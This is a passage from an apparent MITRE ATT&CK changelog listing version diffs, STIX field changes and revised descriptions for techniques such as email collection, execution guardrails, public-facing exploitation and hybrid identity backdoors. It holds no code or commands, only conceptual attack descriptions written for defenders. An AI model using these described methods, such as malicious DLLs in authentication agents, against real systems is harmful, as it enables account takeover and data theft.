>ecrets or personal information, that can prove valuable to a>ecrets or personal information, that can prove valuable to a
>dversaries. Adversaries can collect or forward email from ma>dversaries. Emails may also contain details of ongoing incid
>il servers or clients. >ent response operations, which may allow adversaries to adju
 >st their techniques in order to maintain persistence or evad
 >e defenses.(Citation: TrustedSec OOB Communications)(Citatio
 >n: CISA AA20-352A 2021) Adversaries can collect or forward e
 >mail from mail servers or clients. 

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-29 21:06:03.098000+00:002024-10-15 12:24:27.627000+00:00
descriptionAdversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.(Citation: TrustedSec OOB Communications)(Citation: CISA AA20-352A 2021) Adversaries can collect or forward email from mail servers or clients.
x_mitre_version2.52.6
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'CISA AA20-352A 2021', 'description': 'CISA. (2021, April 15). Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations. Retrieved August 30, 2024.', 'url': 'https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a'}
external_references{'source_name': 'TrustedSec OOB Communications', 'description': 'Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.', 'url': 'https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response'}
x_mitre_contributorsMenachem Goldstein
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1114.003] Email Collection: Email Forwarding Rule

Current version: 1.4

Version changed from: 1.3 → 1.4

New Mitigations:

New Detections:

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-12 20:47:47.583000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.31.4
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
x_mitre_data_sourcesCloud Service: Cloud Service Metadata
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1564.008] Hide Artifacts: Email Hiding Rules

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-16 16:41:53.957000+00:002024-10-15 15:56:27.592000+00:00
x_mitre_version1.31.4
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1499] Endpoint Denial of Service

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:44.038000+00:002024-10-15 15:56:47.424000+00:00
external_references[2]['description']FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.
external_references[2]['url']https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdfhttps://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.11.2
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsSaaS
x_mitre_platformsGoogle Workspace

[T1546] Event Triggered Execution

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-01 15:49:15.588000+00:002024-10-15 15:57:00.731000+00:00
x_mitre_version1.31.4
x_mitre_platforms[5]Office 365Office Suite

[T1480] Execution Guardrails

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may use execution guardrails to constrain executt1Adversaries may use execution guardrails to constrain execut
>ion or actions based on adversary supplied and environment s>ion or actions based on adversary supplied and environment s
>pecific conditions that are expected to be present on the ta>pecific conditions that are expected to be present on the ta
>rget. Guardrails ensure that a payload only executes against>rget. Guardrails ensure that a payload only executes against
> an intended target and reduces collateral damage from an ad> an intended target and reduces collateral damage from an ad
>versary’s campaign.(Citation: FireEye Kevin Mandia Guardrail>versary’s campaign.(Citation: FireEye Kevin Mandia Guardrail
>s) Values an adversary can provide about a target system or >s) Values an adversary can provide about a target system or 
>environment to use as guardrails may include specific networ>environment to use as guardrails may include specific networ
>k share names, attached physical devices, files, joined Acti>k share names, attached physical devices, files, joined Acti
>ve Directory (AD) domains, and local/external IP addresses.(>ve Directory (AD) domains, and local/external IP addresses.(
>Citation: FireEye Outlook Dec 2019)  Guardrails can be used >Citation: FireEye Outlook Dec 2019)  Guardrails can be used 
>to prevent exposure of capabilities in environments that are>to prevent exposure of capabilities in environments that are
> not intended to be compromised or operated within. This use> not intended to be compromised or operated within. This use
> of guardrails is distinct from typical [Virtualization/Sand> of guardrails is distinct from typical [Virtualization/Sand
>box Evasion](https://attack.mitre.org/techniques/T1497). Whi>box Evasion](https://attack.mitre.org/techniques/T1497). Whi
>le use of [Virtualization/Sandbox Evasion](https://attack.mi>le use of [Virtualization/Sandbox Evasion](https://attack.mi
>tre.org/techniques/T1497) may involve checking for known san>tre.org/techniques/T1497) may involve checking for known san
>dbox values and continuing with execution only if there is n>dbox values and continuing with execution only if there is n
>o match, the use of guardrails will involve checking for an >o match, the use of guardrails will involve checking for an 
>expected target-specific value and only continuing with exec>expected target-specific value and only continuing with exec
>ution if there is such a match.>ution if there is such a match.  Adversaries may identify an
 >d block certain user-agents to evade defenses and narrow the
 > scope of their attack to victims and platforms on which it 
 >will be most effective. A user-agent self-identifies data su
 >ch as a user's software application, operating system, vendo
 >r, and version. Adversaries may check user-agents for operat
 >ing system identification and then only serve malware for th
 >e exploitable software while ignoring all other operating sy
 >stems.(Citation: Trellix-Qakbot)
Details
values_changed
STIX FieldOld valueNew Value
modified2022-05-03 02:39:29.314000+00:002024-06-07 14:30:23.491000+00:00
descriptionAdversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019) + +Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019) + +Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match. + +Adversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.11.2
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Trellix-Qakbot', 'description': 'Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved June 7, 2024.', 'url': 'https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/'}

[T1048] Exfiltration Over Alternative Protocol

Current version: 1.5

Version changed from: 1.4 → 1.5

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_network_requirementsFalse
values_changed
STIX FieldOld valueNew Value
modified2023-04-15 00:58:36.287000+00:002024-10-15 15:57:26.415000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.41.5
x_mitre_platforms[6]Google WorkspaceOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365

[T1567] Exfiltration Over Web Service

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-05 15:00:36.471000+00:002024-10-15 15:57:40.951000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.31.4
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1567.004] Exfiltration Over Web Service: Exfiltration Over Webhook

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-12 05:22:59.079000+00:002024-10-15 15:57:55.928000+00:00
x_mitre_version1.01.1
x_mitre_platforms[4]Office 365Office Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsGoogle Workspace

[T1190] Exploit Public-Facing Application

Current version: 2.6

Version changed from: 2.5 → 2.6

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may attempt to exploit a weakness in an Internett1Adversaries may attempt to exploit a weakness in an Internet
>-facing host or system to initially access a network. The we>-facing host or system to initially access a network. The we
>akness in the system can be a software bug, a temporary glit>akness in the system can be a software bug, a temporary glit
>ch, or a misconfiguration.  Exploited applications are often>ch, or a misconfiguration.  Exploited applications are often
> websites/web servers, but can also include databases (like > websites/web servers, but can also include databases (like 
>SQL), standard services (like SMB or SSH), network device ad>SQL), standard services (like SMB or SSH), network device ad
>ministration and management protocols (like SNMP and Smart I>ministration and management protocols (like SNMP and Smart I
>nstall), and any other system with Internet accessible open >nstall), and any other system with Internet-accessible open 
>sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple>sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple
> SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network In> SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network In
>frastructure Devices 2018)(Citation: Cisco Blog Legacy Devic>frastructure Devices 2018)(Citation: Cisco Blog Legacy Devic
>e Attacks)(Citation: NVD CVE-2014-7169) Depending on the fla>e Attacks)(Citation: NVD CVE-2014-7169) Depending on the fla
>w being exploited this may also involve [Exploitation for De>w being exploited this may also involve [Exploitation for De
>fense Evasion](https://attack.mitre.org/techniques/T1211) or>fense Evasion](https://attack.mitre.org/techniques/T1211) or
> [Exploitation for Client Execution](https://attack.mitre.or> [Exploitation for Client Execution](https://attack.mitre.or
>g/techniques/T1203).  If an application is hosted on cloud-b>g/techniques/T1203).  If an application is hosted on cloud-b
>ased infrastructure and/or is containerized, then exploiting>ased infrastructure and/or is containerized, then exploiting
> it may lead to compromise of the underlying instance or con> it may lead to compromise of the underlying instance or con
>tainer. This can allow an adversary a path to access the clo>tainer. This can allow an adversary a path to access the clo
>ud or container APIs, exploit container host access via [Esc>ud or container APIs (e.g., via the [Cloud Instance Metadata
>ape to Host](https://attack.mitre.org/techniques/T1611), or > API](https://attack.mitre.org/techniques/T1552/005)), explo
>take advantage of weak identity and access management polici>it container host access via [Escape to Host](https://attack
>es.  Adversaries may also exploit edge network infrastructur>.mitre.org/techniques/T1611), or take advantage of weak iden
>e and related appliances, specifically targeting devices tha>tity and access management policies.  Adversaries may also e
>t do not support robust host-based defenses.(Citation: Mandi>xploit edge network infrastructure and related appliances, s
>ant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)  For>pecifically targeting devices that do not support robust hos
> websites and databases, the OWASP top 10 and CWE top 25 hig>t-based defenses.(Citation: Mandiant Fortinet Zero Day)(Cita
>hlight the most common web-based vulnerabilities.(Citation: >tion: Wired Russia Cyberwar)  For websites and databases, th
>OWASP Top 10)(Citation: CWE top 25)>e OWASP top 10 and CWE top 25 highlight the most common web-
 >based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE
 > top 25)
Details
values_changed
STIX FieldOld valueNew Value
modified2023-11-28 21:27:35.373000+00:002024-09-24 14:33:53.433000+00:00
descriptionAdversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. + +Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). + +If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies. + +Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) + +For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. + +Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). + +If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)), exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies. + +Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) + +For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)
x_mitre_version2.52.6

[T1212] Exploitation for Credential Access

Current version: 1.6

Version changed from: 1.5 → 1.6

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-15 11:45:21.555000+00:002024-10-14 22:11:30.271000+00:00
external_references[5]['description']Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 27, 2023.Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 12, 2024.
external_references[5]['url']https://twitter.com/MsftSecIntel/status/1671579359994343425https://x.com/MsftSecIntel/status/1671579359994343425
x_mitre_version1.51.6
x_mitre_platforms[3]Azure ADIdentity Provider

[T1657] Financial Theft

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 20:22:14.359000+00:002024-10-15 15:58:10.254000+00:00
x_mitre_version1.11.2
x_mitre_contributors[2]Goldstein MenachemMenachem Goldstein
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1606] Forge Web Credentials

Current version: 1.5

Version changed from: 1.4 → 1.5

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-15 11:10:03.428000+00:002024-10-15 15:58:23.638000+00:00
external_references[3]['description']Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020.Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved September 27, 2024.
external_references[3]['url']https://github.com/damianh/aws-adfs-credential-generatorhttps://github.com/pvanbuijtene/aws-adfs-credential-generator
x_mitre_version1.41.5
x_mitre_platforms[5]Office 365Office Suite
x_mitre_platforms[6]Google WorkspaceIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD

[T1592] Gather Victim Host Information

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may gather information about the victim's hosts t1Adversaries may gather information about the victim's hosts 
>that can be used during targeting. Information about hosts m>that can be used during targeting. Information about hosts m
>ay include a variety of details, including administrative da>ay include a variety of details, including administrative da
>ta (ex: name, assigned IP, functionality, etc.) as well as s>ta (ex: name, assigned IP, functionality, etc.) as well as s
>pecifics regarding its configuration (ex: operating system, >pecifics regarding its configuration (ex: operating system, 
>language, etc.).  Adversaries may gather this information in>language, etc.).  Adversaries may gather this information in
> various ways, such as direct collection actions via [Active> various ways, such as direct collection actions via [Active
> Scanning](https://attack.mitre.org/techniques/T1595) or [Ph> Scanning](https://attack.mitre.org/techniques/T1595) or [Ph
>ishing for Information](https://attack.mitre.org/techniques/>ishing for Information](https://attack.mitre.org/techniques/
>T1598). Adversaries may also compromise sites then include m>T1598). Adversaries may also compromise sites then include m
>alicious content designed to collect host information from v>alicious content designed to collect host information from v
>isitors.(Citation: ATT ScanBox) Information about hosts may >isitors.(Citation: ATT ScanBox) Information about hosts may 
>also be exposed to adversaries via online or other accessibl>also be exposed to adversaries via online or other accessibl
>e data sets (ex: [Social Media](https://attack.mitre.org/tec>e data sets (ex: [Social Media](https://attack.mitre.org/tec
>hniques/T1593/001) or [Search Victim-Owned Websites](https:/>hniques/T1593/001) or [Search Victim-Owned Websites](https:/
>/attack.mitre.org/techniques/T1594)). Gathering this informa>/attack.mitre.org/techniques/T1594)). Gathering this informa
>tion may reveal opportunities for other forms of reconnaissa>tion may reveal opportunities for other forms of reconnaissa
>nce (ex: [Search Open Websites/Domains](https://attack.mitre>nce (ex: [Search Open Websites/Domains](https://attack.mitre
>.org/techniques/T1593) or [Search Open Technical Databases](>.org/techniques/T1593) or [Search Open Technical Databases](
>https://attack.mitre.org/techniques/T1596)), establishing op>https://attack.mitre.org/techniques/T1596)), establishing op
>erational resources (ex: [Develop Capabilities](https://atta>erational resources (ex: [Develop Capabilities](https://atta
>ck.mitre.org/techniques/T1587) or [Obtain Capabilities](http>ck.mitre.org/techniques/T1587) or [Obtain Capabilities](http
>s://attack.mitre.org/techniques/T1588)), and/or initial acce>s://attack.mitre.org/techniques/T1588)), and/or initial acce
>ss (ex: [Supply Chain Compromise](https://attack.mitre.org/t>ss (ex: [Supply Chain Compromise](https://attack.mitre.org/t
>echniques/T1195) or [External Remote Services](https://attac>echniques/T1195) or [External Remote Services](https://attac
>k.mitre.org/techniques/T1133)).>k.mitre.org/techniques/T1133)).  Adversaries may also gather
 > victim host information via User-Agent HTTP headers, which 
 >are sent to a server to identify the application, operating 
 >system, vendor, and/or version of the requesting user agent.
 > This can be used to inform the adversary’s follow-on action
 >. For example, adversaries may check user agents for the req
 >uesting operating system, then only serve malware for target
 > operating systems while ignoring others.(Citation: TrellixQ
 >akbot)
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_contributors['Sam Seabrook, Duke Energy']
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-10-17 16:35:09.878000+00:002024-10-03 19:35:07.269000+00:00
descriptionAdversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). + +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). + +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). + +Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot)
x_mitre_version1.11.2
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'TrellixQakbot', 'description': 'Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved August 1, 2024.', 'url': 'https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/'}

[T1552.006] Unsecured Credentials: Group Policy Preferences

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2020-06-17 14:25:38.082000+00:002024-08-15 13:21:22.734000+00:00
x_mitre_version1.01.1

[T1564] Hide Artifacts

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-29 17:45:48.126000+00:002024-10-15 15:58:49.815000+00:00
x_mitre_version1.21.3
x_mitre_platforms[3]Office 365Office Suite

[T1556.007] Modify Authentication Process: Hybrid Identity

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may patch, modify, or otherwise backdoor cloud at1Adversaries may patch, modify, or otherwise backdoor cloud a
>uthentication processes that are tied to on-premises user id>uthentication processes that are tied to on-premises user id
>entities in order to bypass typical authentication mechanism>entities in order to bypass typical authentication mechanism
>s, access credentials, and enable persistent access to accou>s, access credentials, and enable persistent access to accou
>nts.    Many organizations maintain hybrid user and device i>nts.    Many organizations maintain hybrid user and device i
>dentities that are shared between on-premises and cloud-base>dentities that are shared between on-premises and cloud-base
>d environments. These can be maintained in a number of ways.>d environments. These can be maintained in a number of ways.
> For example, Azure AD includes three options for synchroniz> For example, Microsoft Entra ID includes three options for 
>ing identities between Active Directory and Azure AD(Citatio>synchronizing identities between Active Directory and Entra 
>n: Azure AD Hybrid Identity):  * Password Hash Synchronizati>ID(Citation: Azure AD Hybrid Identity):  * Password Hash Syn
>on (PHS), in which a privileged on-premises account synchron>chronization (PHS), in which a privileged on-premises accoun
>izes user password hashes between Active Directory and Azure>t synchronizes user password hashes between Active Directory
> AD, allowing authentication to Azure AD to take place entir> and Entra ID, allowing authentication to Entra ID to take p
>ely in the cloud  * Pass Through Authentication (PTA), in wh>lace entirely in the cloud  * Pass Through Authentication (P
>ich Azure AD authentication attempts are forwarded to an on->TA), in which Entra ID authentication attempts are forwarded
>premises PTA agent, which validates the credentials against > to an on-premises PTA agent, which validates the credential
>Active Directory  * Active Directory Federation Services (AD>s against Active Directory  * Active Directory Federation Se
> FS), in which a trust relationship is established between A>rvices (AD FS), in which a trust relationship is established
>ctive Directory and Azure AD   AD FS can also be used with o> between Active Directory and Entra ID   AD FS can also be u
>ther SaaS and cloud platforms such as AWS and GCP, which wil>sed with other SaaS and cloud platforms such as AWS and GCP,
>l hand off the authentication process to AD FS and receive a> which will hand off the authentication process to AD FS and
> token containing the hybrid users’ identity and privileges.> receive a token containing the hybrid users’ identity and p
>   By modifying authentication processes tied to hybrid iden>rivileges.   By modifying authentication processes tied to h
>tities, an adversary may be able to establish persistent pri>ybrid identities, an adversary may be able to establish pers
>vileged access to cloud resources. For example, adversaries >istent privileged access to cloud resources. For example, ad
>who compromise an on-premises server running a PTA agent may>versaries who compromise an on-premises server running a PTA
> inject a malicious DLL into the `AzureADConnectAuthenticati> agent may inject a malicious DLL into the `AzureADConnectAu
>onAgentService` process that authorizes all attempts to auth>thenticationAgentService` process that authorizes all attemp
>enticate to Azure AD, as well as records user credentials.(C>ts to authenticate to Entra ID, as well as records user cred
>itation: Azure AD Connect for Read Teamers)(Citation: AADInt>entials.(Citation: Azure AD Connect for Read Teamers)(Citati
>ernals Azure AD On-Prem to Cloud) In environments using AD F>on: AADInternals Azure AD On-Prem to Cloud) In environments 
>S, an adversary may edit the `Microsoft.IdentityServer.Servi>using AD FS, an adversary may edit the `Microsoft.IdentitySe
>cehost` configuration file to load a malicious DLL that gene>rver.Servicehost` configuration file to load a malicious DLL
>rates authentication tokens for any user with any set of cla> that generates authentication tokens for any user with any 
>ims, thereby bypassing multi-factor authentication and defin>set of claims, thereby bypassing multi-factor authentication
>ed AD FS policies.(Citation: MagicWeb)  In some cases, adver> and defined AD FS policies.(Citation: MagicWeb)  In some ca
>saries may be able to modify the hybrid identity authenticat>ses, adversaries may be able to modify the hybrid identity a
>ion process from the cloud. For example, adversaries who com>uthentication process from the cloud. For example, adversari
>promise a Global Administrator account in an Azure AD tenant>es who compromise a Global Administrator account in an Entra
> may be able to register a new PTA agent via the web console> ID tenant may be able to register a new PTA agent via the w
>, similarly allowing them to harvest credentials and log int>eb console, similarly allowing them to harvest credentials a
>o the Azure AD environment as any user.(Citation: Mandiant A>nd log into the Entra ID environment as any user.(Citation: 
>zure AD Backdoors)>Mandiant Azure AD Backdoors)
Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-21 16:09:38.202000+00:002024-10-14 22:11:30.271000+00:00
descriptionAdversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. + +Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity): + +* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud +* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory +* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD + +AD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges. + +By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user 